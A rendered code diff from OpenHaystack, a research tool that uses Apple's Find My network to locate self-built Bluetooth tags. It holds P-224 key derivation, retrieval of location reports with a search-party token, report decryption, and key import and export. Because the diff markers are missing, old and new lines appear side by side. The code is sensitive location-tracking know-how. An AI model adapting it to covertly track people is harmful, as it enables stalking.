int res = ECDH_compute_key(sharedKey.mutableBytes, sharedKey.length, publicKey, key, nil);
if (res < 1) {
NSLog(@"Failed with error: %d", res);
BIO *bio = BIO_new(BIO_s_mem());
ERR_print_errors(bio);
char *buf;
BIO_get_mem_data(bio, &buf);
NSLog(@"Generating shared key failed %s", buf);
BIO_free(bio);
}
NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
// NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
//Free
EC_KEY_free(key);
EC_GROUP_free(curve);
EC_POINT_free(publicKey);
return sharedKey;
}
+ (EC_POINT * _Nullable) loadEllipticCurvePublicBytesWith: (EC_GROUP *) group andPointBytes: (NSData *) pointBytes {
EC_POINT* point = EC_POINT_new(group);
//Create big number context
+ (EC_POINT *_Nullable)loadEllipticCurvePublicBytesWith:(EC_GROUP *)group andPointBytes:(NSData *)pointBytes {
EC_POINT *point = EC_POINT_new(group);
// Create big number context
BN_CTX *ctx = BN_CTX_new();
BN_CTX_start(ctx);
//Public key will be stored in point
// Public key will be stored in point
int res = EC_POINT_oct2point(group, point, pointBytes.bytes, pointBytes.length, ctx);
[self printPoint:point withGroup:group];
//Free the big numbers
// Free the big numbers
BN_CTX_free(ctx);
if (res != 1) {
//Failed
// Failed
return nil;
}
return point;
}
/// Get the private key on the curve from the private key bytes
/// @param privateKeyData NSData representing the private key
/// @param group The EC group representing the curve to use
+ (EC_KEY * _Nullable) deriveEllipticCurvePrivateKey: (NSData *)privateKeyData group: (EC_GROUP *) group {
+ (EC_KEY *_Nullable)deriveEllipticCurvePrivateKey:(NSData *)privateKeyData group:(EC_GROUP *)group {
EC_KEY *key = EC_KEY_new_by_curve_name(NID_secp224r1);
EC_POINT *point = EC_POINT_new(group);
BN_CTX *ctx = BN_CTX_new();
BN_CTX_start(ctx);
// Read in the private key data
BIGNUM *privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
int res = EC_POINT_mul(group, point, privateKeyNum, nil, nil, ctx);
if (res != 1) {
NSLog(@"Failed");
return nil;
}
res = EC_KEY_set_public_key(key, point);
EC_POINT_free(point);
if (res != 1) {
NSLog(@"Failed");
return nil;
}
privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
EC_KEY_set_private_key(key, privateKeyNum);
//Free the big numbers
BN_free(privateKeyNum);
// Free
BN_CTX_free(ctx);
return key;
}
/// Derive a public key from a given private key
/// @param privateKeyData an EC private key on the P-224 curve
+ (NSData * _Nullable) derivePublicKeyFromPrivateKey: (NSData*) privateKeyData {
+ (NSData *_Nullable)derivePublicKeyFromPrivateKey:(NSData *)privateKeyData {
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKeyData group:curve];
const EC_POINT *publicKey = EC_KEY_get0_public_key(key);
size_t keySize = 28 + 1;
NSMutableData *publicKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_COMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
//Free
EC_KEY_free(key);
EC_GROUP_free(curve);
if (size == 0) {
return nil;
}
return publicKeyBytes;
}
+ (NSData * _Nullable)generateNewPrivateKey {
/// Derive a uncompressed public key from a given private key
/// @param privateKeyData an EC private key on the P-224 curve
+ (NSData *_Nullable)deriveUncompressedPublicKeyFromPrivateKey:(NSData *)privateKeyData {
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKeyData group:curve];
const EC_POINT *publicKey = EC_KEY_get0_public_key(key);
size_t keySize = 28*2 + 1;
NSMutableData *publicKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_UNCOMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
//Free
EC_KEY_free(key);
EC_GROUP_free(curve);
if (size == 0) {
return nil;
}
return publicKeyBytes;
}
+ (NSData *_Nullable)generateNewPrivateKey {
EC_KEY *key = EC_KEY_new_by_curve_name(NID_secp224r1);
if (EC_KEY_generate_key_fips(key) == 0) {
return nil;
}
const BIGNUM *privateKey = EC_KEY_get0_private_key(key);
size_t keySize = BN_num_bytes(privateKey);
//Convert to bytes
// Convert to bytes
NSMutableData *privateKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
size_t size = BN_bn2bin(privateKey, privateKeyBytes.mutableBytes);
EC_KEY_free(key);
if (size == 0) {
return nil;
}
return privateKeyBytes;
}
+ (NSData *_Nullable)internalCalculatePrivateKeyFromSharedData:(NSData *)sharedData masterBeaconPrivateKey:(NSData *)masterBeaconPrivateKey
curve:(EC_GROUP *) curve
bignum_context:(BN_CTX *) context
order:(BIGNUM *) order
u_i_bn:(BIGNUM *) u_i_bn
v_i_bn:(BIGNUM *) v_i_bn
d_0_bn:(BIGNUM *) d_0_bn
d_i_bn:(BIGNUM *) d_i_bn
tmp_bn:(BIGNUM *) tmp_bn{
// get (order of G) - 1 of our curve
int res = EC_GROUP_get_order(curve, order, context);
EC_GROUP_free(curve);
if(res != 1){
NSLog(@"Could not get Order of G for NID_secp224r1 with error: %d", res);
return nil;
}
res = BN_sub_word(order, 1);
if(res != 1){
NSLog(@"Could not calculate order - 1 (%d)", res);
return nil;
}
// get u_i and v_i as BIGNUM
NSData *u_i_data = [sharedData subdataWithRange:NSMakeRange(0, sharedData.length/2)];
NSData *v_i_data = [sharedData subdataWithRange:NSMakeRange(sharedData.length/2, sharedData.length/2)];
/*
NSLog(@"u_i_data: %@", u_i_data);
NSLog(@"v_i_data: %@", v_i_data);
*/
BN_bin2bn(u_i_data.bytes, u_i_data.length, u_i_bn);
BN_bin2bn(v_i_data.bytes, v_i_data.length, v_i_bn);
//Calculate:
//u_i = u_i (mod q-1) + 1
res = BN_mod(tmp_bn, u_i_bn, order, context);
if (res != 1){
NSLog(@"Error while calculating u_i (mod q-1) (%d)", res);
return nil;
}
BN_copy(u_i_bn, tmp_bn);
res = BN_add_word(u_i_bn, 1);
if (res != 1){
NSLog(@"Error while adding 1 to v_i (mod q-1) (%d)", res);
return nil;
}
//v_i = v_i (mod q-1) + 1
res = BN_mod(tmp_bn, v_i_bn, order, context);
if (res != 1){
NSLog(@"Error while calculating u_i (mod q-1) (%d)", res);
return nil;
}
BN_copy(v_i_bn, tmp_bn);
res = BN_add_word(v_i_bn, 1);
if (res != 1){
NSLog(@"Error while adding 1 to v_i (mod q-1) (%d)", res);
return nil;
}
/*
size_t uv_size = BN_num_bytes(u_i_bn);
NSMutableData *u_i_data2 = [[NSMutableData alloc] initWithLength:uv_size];
BN_bn2bin(u_i_bn, u_i_data2.mutableBytes);
NSLog(@"u_i_data: %@", u_i_data2);
uv_size = BN_num_bytes(u_i_bn);
NSMutableData *v_i_data2 = [[NSMutableData alloc] initWithLength:uv_size];
BN_bn2bin(v_i_bn, v_i_data2.mutableBytes);
NSLog(@"v_i_data: %@", v_i_data2);
*/
// calculate d_i = d_0_bn * u_i_bn + v_i_bn (new private key)
BN_bin2bn(masterBeaconPrivateKey.bytes, masterBeaconPrivateKey.length, d_0_bn);
res = BN_mul(tmp_bn, d_0_bn, u_i_bn, context);
if (res != 1) {
NSLog(@"Failed bignum multiplication with error: %d", res);
return nil;
}
res = BN_add(d_i_bn, tmp_bn, v_i_bn);
if (res != 1) {
NSLog(@"Failed bignum addition with error: %d", res);
return nil;
}
// normalize point to 28 bytes to have a valid scaler as private key
EC_GROUP_get_order(curve, order, context);
BN_copy(tmp_bn, d_i_bn);
res = BN_mod(d_i_bn, tmp_bn, order, context);
if(res != 1){
NSLog(@"Failed bignum modulo with error: %d", res);
}
// get private key as bytes
size_t d_i_size = BN_num_bytes(d_i_bn);
NSMutableData *privateKeyBytes = [[NSMutableData alloc] initWithLength:d_i_size];
size_t size = BN_bn2bin(d_i_bn, privateKeyBytes.mutableBytes);
if(size < 1){
return nil;
}
return privateKeyBytes;
}
+ (void) printPoint: (const EC_POINT *)point withGroup:(EC_GROUP *)group {
NSMutableData *pointData = [[NSMutableData alloc] initWithLength:256];
+ (NSData *_Nullable)calculatePrivateKeyFromSharedData:(NSData *)sharedData masterBeaconPrivateKey:(NSData *)masterBeaconPrivateKey {
//Get the group
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
// Create big number context
BN_CTX *ctx = BN_CTX_new();
BN_CTX_start(ctx);
BIGNUM *order = BN_new();
BIGNUM *u_i_bn = BN_new();
BIGNUM *v_i_bn = BN_new();
BIGNUM *d_0_bn = BN_new();
BIGNUM *d_i_bn = BN_new();
BIGNUM *tmp_bn = BN_new();
NSData* privateKeyBytes = [self internalCalculatePrivateKeyFromSharedData:sharedData masterBeaconPrivateKey:masterBeaconPrivateKey curve:curve bignum_context:ctx order:order u_i_bn:u_i_bn v_i_bn:v_i_bn d_0_bn:d_0_bn d_i_bn:d_i_bn tmp_bn:tmp_bn];
// Free all the things
EC_GROUP_free(curve);
BN_CTX_free(ctx);
BN_free(order);
BN_free(u_i_bn);
BN_free(v_i_bn);
BN_free(d_0_bn);
BN_free(d_i_bn);
BN_free(tmp_bn);
return privateKeyBytes;
}
+ (void)printPoint:(const EC_POINT *)point withGroup:(EC_GROUP *)group {
NSMutableData *pointData = [[NSMutableData alloc] initWithLength:256];
size_t len = pointData.length;
BN_CTX *ctx = BN_CTX_new();
BN_CTX_start(ctx);
size_t res = EC_POINT_point2oct(group, point, POINT_CONVERSION_UNCOMPRESSED, pointData.mutableBytes, len, ctx);
//Free the big numbers
// Free the big numbers
BN_CTX_free(ctx);
NSData *written = [[NSData alloc] initWithBytes:pointData.bytes length:res];
NSLog(@"Point data is: %@", [written base64EncodedStringWithOptions:0]);
}

View File

@@ -1,23 +1,31 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import CryptoKit
import Foundation
struct DecryptReports {
/// Decrypt a find my report with the according key
/// Decrypt a find my report with the according key.
///
/// - Parameters:
/// - report: An encrypted FindMy Report
/// - key: A FindMyKey
/// - Throws: Errors if the decryption fails
/// - Returns: An decrypted location report
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
let payloadData = report.payload
var payloadData = report.payload
/// Fix decryption for new report format
/// See: https://github.com/biemster/FindMy/issues/52
if payloadData.count > 88 {
payloadData.remove(at: 5)
}
let keyData = key.privateKey
let privateKey = keyData
@@ -40,7 +48,8 @@ struct DecryptReports {
return locationReport
}
/// Decrypt the payload
/// Decrypt the payload.
///
/// - Parameters:
/// - payload: Encrypted payload part
/// - symmetricKey: Symmetric key
@@ -63,18 +72,18 @@ struct DecryptReports {
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
var longitude: Int32 = 0
_ = withUnsafeMutableBytes(of: &longitude, {content.subdata(in: 4..<8).copyBytes(to: $0)})
_ = withUnsafeMutableBytes(of: &longitude, { content.subdata(in: 4..<8).copyBytes(to: $0) })
longitude = Int32(bigEndian: longitude)
var latitude: Int32 = 0
_ = withUnsafeMutableBytes(of: &latitude, {content.subdata(in: 0..<4).copyBytes(to: $0)})
_ = withUnsafeMutableBytes(of: &latitude, { content.subdata(in: 0..<4).copyBytes(to: $0) })
latitude = Int32(bigEndian: latitude)
var accuracy: UInt8 = 0
_ = withUnsafeMutableBytes(of: &accuracy, {content.subdata(in: 8..<9).copyBytes(to: $0)})
_ = withUnsafeMutableBytes(of: &accuracy, { content.subdata(in: 8..<9).copyBytes(to: $0) })
let latitudeDec = Double(latitude)/10000000.0
let longitudeDec = Double(longitude)/10000000.0
let latitudeDec = Double(latitude) / 10000000.0
let longitudeDec = Double(longitude) / 10000000.0
return FindMyLocationReport(lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished, t: report.timestamp, c: report.confidence)
}

View File

@@ -1,17 +1,18 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import SwiftUI
import Combine
import Foundation
import OSLog
import SwiftUI
class FindMyController: ObservableObject {
static let shared = FindMyController()
@Published var error: Error?
@Published var devices = [FindMyDevice]()
@@ -26,12 +27,16 @@ class FindMyController: ObservableObject {
}
}
func importReports(reports: [FindMyReport], and keys: Data, completion:@escaping () -> Void) throws {
func importReports(reports: [FindMyReport], and keys: Data, completion: @escaping () -> Void) throws {
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
self.devices = devices
// Decrypt the reports with the imported keys
DispatchQueue.global(qos: .background).async {
DispatchQueue.global(qos: .background).async { [weak self] in
guard let self = self else {
completion()
return
}
var d = self.devices
// Add the reports to the according device by finding the right key for the report
@@ -56,8 +61,8 @@ class FindMyController: ObservableObject {
}
// Decrypt the reports
self.decryptReports {
self.exportDevices()
self.decryptReports { [weak self] in
self?.exportDevices()
DispatchQueue.main.async {
completion()
}
@@ -76,15 +81,42 @@ class FindMyController: ObservableObject {
self.devices = devices
// Decrypt reports again with additional information
// Decrypt reports again with additional information
self.decryptReports {
}
}
func fetchReports(for accessories: [Accessory], with token: Data, completion: @escaping (Result<[FindMyDevice], Error>) -> Void) {
let findMyDevices = accessories.compactMap({ acc -> FindMyDevice? in
do {
return try acc.toFindMyDevice()
} catch {
os_log("Failed getting id for key %@", String(describing: error))
return nil
}
})
self.devices = findMyDevices
self.fetchReports(with: token) { error in
if let error = error {
completion(.failure(error))
os_log("Error: %@", String(describing: error))
} else {
completion(.success(self.devices))
}
}
}
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
DispatchQueue.global(qos: .background).async {
DispatchQueue.global(qos: .background).async { [weak self] in
guard let self = self else {
completion(FindMyErrors.objectReleased)
return
}
let fetchReportGroup = DispatchGroup()
let fetcher = ReportsFetcher()
@@ -97,10 +129,10 @@ class FindMyController: ObservableObject {
// Only use the newest keys for testing
let keys = devices[deviceIndex].keys
let keyHashes = keys.map({$0.hashedKey.base64EncodedString()})
let keyHashes = keys.map({ $0.hashedKey.base64EncodedString() })
// 21 days
let duration: Double = (24 * 60 * 60) * 21
let duration: Double = (24 * 60 * 60) * 21
let startDate = Date() - duration
fetcher.query(forHashes: keyHashes, start: startDate, duration: duration, searchPartyToken: searchPartyToken) { jd in
@@ -116,6 +148,10 @@ class FindMyController: ObservableObject {
} catch {
print("Failed with error \(error)")
if jsonData.isEmpty {
print("Empty response, consider updating your Search Party Token")
completion(FindMyErrors.invalidSearchPartyToken)
}
devices[deviceIndex].reports = []
}
fetchReportGroup.leave()
@@ -136,13 +172,17 @@ class FindMyController: ObservableObject {
}
#if EXPORT
if let encoded = try? JSONEncoder().encode(reports) {
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
}
if let encoded = try? JSONEncoder().encode(reports) {
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
}
#endif
DispatchQueue.main.async {
DispatchQueue.main.async { [weak self] in
guard let self = self else {
completion(FindMyErrors.objectReleased)
return
}
self.devices = devices
self.decryptReports {
@@ -164,14 +204,14 @@ class FindMyController: ObservableObject {
let device = devices[deviceIdx]
// Map the keys in a dictionary for faster access
guard let reports = device.reports else {continue}
let keyMap = device.keys.reduce(into: [String: FindMyKey](), {$0[$1.hashedKey.base64EncodedString()] = $1})
guard let reports = device.reports else { continue }
let keyMap = device.keys.reduce(into: [String: FindMyKey](), { $0[$1.hashedKey.base64EncodedString()] = $1 })
let accessQueue = DispatchQueue(label: "threadSafeAccess", qos: .userInitiated, attributes: .concurrent, autoreleaseFrequency: .workItem, target: nil)
var decryptedReports = [FindMyLocationReport](repeating: FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0), count: reports.count)
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
let report = reports[reportIdx]
guard let key = keyMap[report.id] else {return}
guard let key = keyMap[report.id] else { return }
do {
// Decrypt the report
let locationReport = try DecryptReports.decrypt(report: report, with: key)
@@ -202,17 +242,8 @@ class FindMyController: ObservableObject {
}
struct FindMyControllerKey: EnvironmentKey {
static var defaultValue: FindMyController = .shared
}
extension EnvironmentValues {
var findMyController: FindMyController {
get {self[FindMyControllerKey.self]}
set {self[FindMyControllerKey.self] = newValue}
}
}
enum FindMyErrors: Error {
case decodingPlistFailed(message: String)
case objectReleased
case invalidSearchPartyToken
}

View File

@@ -1,18 +1,24 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import CryptoKit
import Foundation
/// Decode key files found in newer macOS versions.
class FindMyKeyDecoder {
/// Key files can be in different format. The old <= 10.15.3 have been using normal plists. Newer once use a binary format which needs different parsing
/// Key files can be in different format.
///
/// The old <= 10.15.3 have been using normal plists. Newer once use a binary format which needs different parsing.
enum KeyFileFormat {
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key file format that can be parsed identically. macOS 10.15.7 uses a new key file format that has not been reversed yet. (The key files are protected by sandboxing and only usable from a SIP disabled)
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key file format that can be parsed identically.
/// macOS 10.15.7 uses a new key file format that has not been reversed yet.
/// (The key files are protected by sandboxing and only usable from a SIP disabled)
case catalina_10_15_4
}
@@ -57,7 +63,7 @@ class FindMyKeyDecoder {
while i + 117 < keyFile.count {
// We could not identify what those keys were
_ = keyFile.subdata(in: i..<i+32)
_ = keyFile.subdata(in: i..<i + 32)
i += 32
if keyFile[i] == 0x00 {
// Public key only.
@@ -70,9 +76,9 @@ class FindMyKeyDecoder {
throw ParsingError.wrongFormat
}
// Step over 0x01
i+=1
i += 1
// Read the key (starting with 0x04)
let fullKey = keyFile.subdata(in: i..<i+85)
let fullKey = keyFile.subdata(in: i..<i + 85)
i += 85
// Create the sub keys. No actual need, but we do that to put them into a similar format as used before 10.15.4
let advertisedKey = fullKey.subdata(in: 1..<29)
@@ -82,14 +88,15 @@ class FindMyKeyDecoder {
shaDigest.update(data: advertisedKey)
let hashedKey = Data(shaDigest.finalize())
let fmKey = FindMyKey(advertisedKey: advertisedKey,
hashedKey: hashedKey,
privateKey: fullKey,
startTime: nil,
duration: nil,
pu: nil,
yCoordinate: yCoordinate,
fullKey: fullKey)
let fmKey = FindMyKey(
advertisedKey: advertisedKey,
hashedKey: hashedKey,
privateKey: fullKey,
startTime: nil,
duration: nil,
pu: nil,
yCoordinate: yCoordinate,
fullKey: fullKey)
keys.append(fmKey)
}

View File

@@ -1,12 +1,14 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import CoreLocation
import Foundation
struct FindMyDevice: Codable, Hashable {
@@ -15,7 +17,7 @@ struct FindMyDevice: Codable, Hashable {
var catalinaBigSurKeyFiles: [Data]?
/// KeyHash: Report results
/// KeyHash: Report results.
var reports: [FindMyReport]?
var decryptedReports: [FindMyLocationReport]?
@@ -47,22 +49,40 @@ struct FindMyKey: Codable {
self.fullKey = fullKey
}
/// The advertising key
init(from decoder: Decoder) throws {
let container = try decoder.container(keyedBy: CodingKeys.self)
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
let privateKey = try container.decode(Data.self, forKey: .privateKey)
if privateKey.count == 85 {
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
} else {
self.privateKey = privateKey
}
self.startTime = try? container.decode(Date.self, forKey: .startTime)
self.duration = try? container.decode(Double.self, forKey: .duration)
self.pu = try? container.decode(Data.self, forKey: .pu)
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
}
/// The advertising key.
let advertisedKey: Data
/// Hashed advertisement key using SHA256
/// Hashed advertisement key using SHA256.
let hashedKey: Data
/// The private key from which the advertisement keys can be derived
/// The private key from which the advertisement keys can be derived.
let privateKey: Data
/// When this key was used to send out BLE advertisements
/// When this key was used to send out BLE advertisements.
let startTime: Date?
/// Duration from start time how long the key has been used to send out BLE advertisements
/// Duration from start time how long the key has been used to send out BLE advertisements.
let duration: Double?
/// ?
let pu: Data?
/// As exported from Big Sur
/// As exported from Big Sur.
let yCoordinate: Data?
/// As exported from BigSur
/// As exported from Big Sur.
let fullKey: Data?
}
@@ -90,7 +110,7 @@ struct FindMyReport: Codable {
let values = try decoder.container(keyedBy: CodingKeys.self)
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
// Convert from milis to time interval
let dP = Date(timeIntervalSince1970: dateTimestamp/1000)
let dP = Date(timeIntervalSince1970: dateTimestamp / 1000)
let df = DateFormatter()
df.dateFormat = "YYYY-MM-dd"

View File

@@ -1,49 +1,285 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Combine
import Foundation
import OSLog
import SwiftUI
class AccessoryController: ObservableObject {
static let shared = AccessoryController()
@AppStorage("searchPartyToken") private var searchPartyToken: String = ""
@Published var accessories: [Accessory]
var selfObserver: AnyCancellable?
var listElementsObserver = [AnyCancellable]()
let findMyController: FindMyController
init() {
self.accessories = KeychainController.loadAccessoriesFromKeychain()
weak var savePanel: NSSavePanel?
init(accessories: [Accessory], findMyController: FindMyController) {
self.accessories = accessories
self.findMyController = findMyController
initAccessoryObserver()
initObserver()
}
init(accessories: [Accessory]) {
self.accessories = accessories
convenience init() {
self.init(accessories: KeychainController.loadAccessoriesFromKeychain(), findMyController: FindMyController())
}
func initAccessoryObserver() {
self.selfObserver = self.objectWillChange.sink { [weak self] _ in
// objectWillChange is called before the values are actually changed,
// so we dispatch the call to save()
DispatchQueue.main.async { [weak self] in
self?.initObserver()
try? self?.save()
}
}
}
func initObserver() {
self.listElementsObserver.forEach({
$0.cancel()
})
self.accessories.forEach({
let c = $0.objectWillChange.sink(receiveValue: { [weak self] in self?.objectWillChange.send() })
// Important: You have to keep the returned value allocated,
// otherwise the sink subscription gets cancelled
self.listElementsObserver.append(c)
})
}
func save() throws {
try KeychainController.storeInKeychain(accessories: self.accessories)
}
func load() {
self.accessories = KeychainController.loadAccessoriesFromKeychain()
}
func updateWithDecryptedReports(devices: [FindMyDevice]) {
// Assign last locations
for device in FindMyController.shared.devices {
if let idx = self.accessories.firstIndex(where: {$0.id == Int(device.deviceId)}) {
for device in devices {
if let idx = self.accessories.firstIndex(where: { $0.id == Int(device.deviceId) }) {
self.objectWillChange.send()
let accessory = self.accessories[idx]
let report = device.decryptedReports?
.sorted(by: {$0.timestamp ?? Date.distantPast > $1.timestamp ?? Date.distantPast })
.sorted(by: { $0.timestamp ?? Date.distantPast > $1.timestamp ?? Date.distantPast })
.first
accessory.lastLocation = report?.location
accessory.locationTimestamp = report?.timestamp
self.accessories[idx] = accessory
accessory.locations = device.decryptedReports
}
}
}
func delete(accessory: Accessory) throws {
var accessories = self.accessories
guard let idx = accessories.firstIndex(of: accessory) else { return }
accessories.remove(at: idx)
withAnimation {
self.accessories = accessories
}
}
func addAccessory() throws -> Accessory {
let accessory = try Accessory()
withAnimation {
self.accessories.append(accessory)
}
return accessory
}
/// Export the accessories property list so it can be imported at another location.
func export(accessories: [Accessory]) throws -> URL {
let savePanel = NSSavePanel()
// savePanel.allowedFileTypes = ["plist", "json"]
if #available(macOS 12.0, *) {
savePanel.allowedContentTypes = [.propertyList]
} else {
savePanel.allowedFileTypes = ["plist"]
}
savePanel.canCreateDirectories = true
savePanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
savePanel.message = "This export contains all private keys! Keep the file save to protect your location data"
savePanel.nameFieldLabel = "Filename"
savePanel.nameFieldStringValue = "openhaystack_accessories"
savePanel.prompt = "Export"
savePanel.title = "Export accessories & keys"
savePanel.isExtensionHidden = false
let accessoryView = NSView()
let popUpButton = NSPopUpButton(title: "File type", target: self, action: #selector(exportFileTypeChanged(button:)))
popUpButton.addItems(withTitles: ["Property List", "JSON"])
popUpButton.selectItem(at: 0)
popUpButton.stringValue = "File type"
popUpButton.translatesAutoresizingMaskIntoConstraints = false
accessoryView.addSubview(popUpButton)
let popUpButtonLabel = NSTextField(labelWithString: "File type")
popUpButtonLabel.translatesAutoresizingMaskIntoConstraints = false
accessoryView.addSubview(popUpButtonLabel)
accessoryView.translatesAutoresizingMaskIntoConstraints = false
// popUpButtonLabel.leadingAnchor.constraint(greaterThanOrEqualTo: accessoryView.leadingAnchor, constant: 20.0).isActive = true
popUpButtonLabel.trailingAnchor.constraint(equalTo: popUpButton.leadingAnchor, constant: -8.0).isActive = true
popUpButtonLabel.trailingAnchor.constraint(lessThanOrEqualTo: accessoryView.centerXAnchor, constant: 0).isActive = true
popUpButtonLabel.centerYAnchor.constraint(equalTo: popUpButton.centerYAnchor, constant: 0).isActive = true
// popUpButton.trailingAnchor.constraint(lessThanOrEqualTo: accessoryView.trailingAnchor, constant: -20.0).isActive = true
popUpButton.leadingAnchor.constraint(lessThanOrEqualTo: accessoryView.centerXAnchor, constant: 0).isActive = true
popUpButton.topAnchor.constraint(equalTo: accessoryView.topAnchor, constant: 8.0).isActive = true
popUpButton.bottomAnchor.constraint(equalTo: accessoryView.bottomAnchor, constant: -8.0).isActive = true
popUpButton.heightAnchor.constraint(greaterThanOrEqualToConstant: 20.0).isActive = true
popUpButton.widthAnchor.constraint(lessThanOrEqualToConstant: 200.0).isActive = true
savePanel.accessoryView = accessoryView
self.savePanel = savePanel
let result = savePanel.runModal()
if result == .OK,
var url = savePanel.url
{
let selectedItemIndex = popUpButton.indexOfSelectedItem
// Store the accessory file
if selectedItemIndex == 0 {
if url.pathExtension != "plist" {
url = url.appendingPathExtension("plist")
}
let propertyList = try PropertyListEncoder().encode(accessories)
try propertyList.write(to: url)
} else if selectedItemIndex == 1 {
if url.pathExtension != "json" {
url = url.appendingPathExtension("json")
}
let jsonObject = try JSONEncoder().encode(accessories)
try jsonObject.write(to: url)
}
return url
}
throw ImportError.cancelled
}
@objc func exportFileTypeChanged(button: NSPopUpButton) {
if button.indexOfSelectedItem == 0 {
if #available(macOS 12.0, *) {
self.savePanel?.allowedContentTypes = [.propertyList]
} else {
self.savePanel?.allowedFileTypes = ["plist"]
}
} else {
if #available(macOS 12.0, *) {
self.savePanel?.allowedContentTypes = [.json]
} else {
self.savePanel?.allowedFileTypes = ["json"]
}
}
}
/// Let the user select a file to import the accessories exported by another OpenHaystack instance.
func importAccessories() throws {
let openPanel = NSOpenPanel()
if #available(macOS 12.0, *) {
openPanel.allowedContentTypes = [.json, .propertyList]
} else {
openPanel.allowedFileTypes = ["json", "plist"]
}
openPanel.canCreateDirectories = true
openPanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
openPanel.message = "Import an accessories file that includes the private keys"
openPanel.prompt = "Import"
openPanel.title = "Import accessories & keys"
let result = openPanel.runModal()
if result == .OK,
let url = openPanel.url
{
let accessoryData = try Data(contentsOf: url)
var importedAccessories: [Accessory]
if url.pathExtension == "plist" {
importedAccessories = try PropertyListDecoder().decode([Accessory].self, from: accessoryData)
} else {
importedAccessories = try JSONDecoder().decode([Accessory].self, from: accessoryData)
}
var updatedAccessories = self.accessories
// Filter out accessories with the same id (no duplicates)
importedAccessories = importedAccessories.filter({ acc in !self.accessories.contains(where: { acc.id == $0.id }) })
updatedAccessories.append(contentsOf: importedAccessories)
updatedAccessories.sort(by: { $0.name < $1.name })
self.accessories = updatedAccessories
//Update reports automatically. Do not report errors from here
self.downloadLocationReports { result in }
}
}
enum ImportError: Error {
case cancelled
}
//MARK: Location reports
/// Download the location reports from.
///
/// - Parameter completion: called when the reports have been succesfully downloaded or the request has failed
func downloadLocationReports(completion: @escaping (Result<Void, OpenHaystackMainView.AlertType>) -> Void) {
AnisetteDataManager.shared.requestAnisetteData { [weak self] result in
guard let self = self else {
completion(.failure(.noReportsFound))
return
}
switch result {
case .failure(_):
completion(.failure(.activatePlugin))
case .success(let accountData):
let token = accountData.searchPartyToken ?? self.searchPartyToken.data(using: .utf8) ?? Data()
if token.isEmpty {
completion(.failure(.searchPartyToken))
return
}
self.findMyController.fetchReports(for: self.accessories, with: token) { [weak self] result in
switch result {
case .failure(let error):
os_log(.error, "Downloading reports failed %@", error.localizedDescription)
switch error {
case FindMyErrors.invalidSearchPartyToken:
completion(.failure(.invalidSearchPartyToken))
default:
completion(.failure(.downloadingReportsFailed))
}
case .success(let devices):
let reports = devices.compactMap({ $0.reports }).flatMap({ $0 })
if reports.isEmpty {
completion(.failure(.noReportsFound))
} else {
self?.updateWithDecryptedReports(devices: devices)
completion(.success(()))
}
}
}
}
}
}
}
class AccessoryControllerPreview: AccessoryController {
override func save() {
// don't allow saving dummy data to keychain
}
}

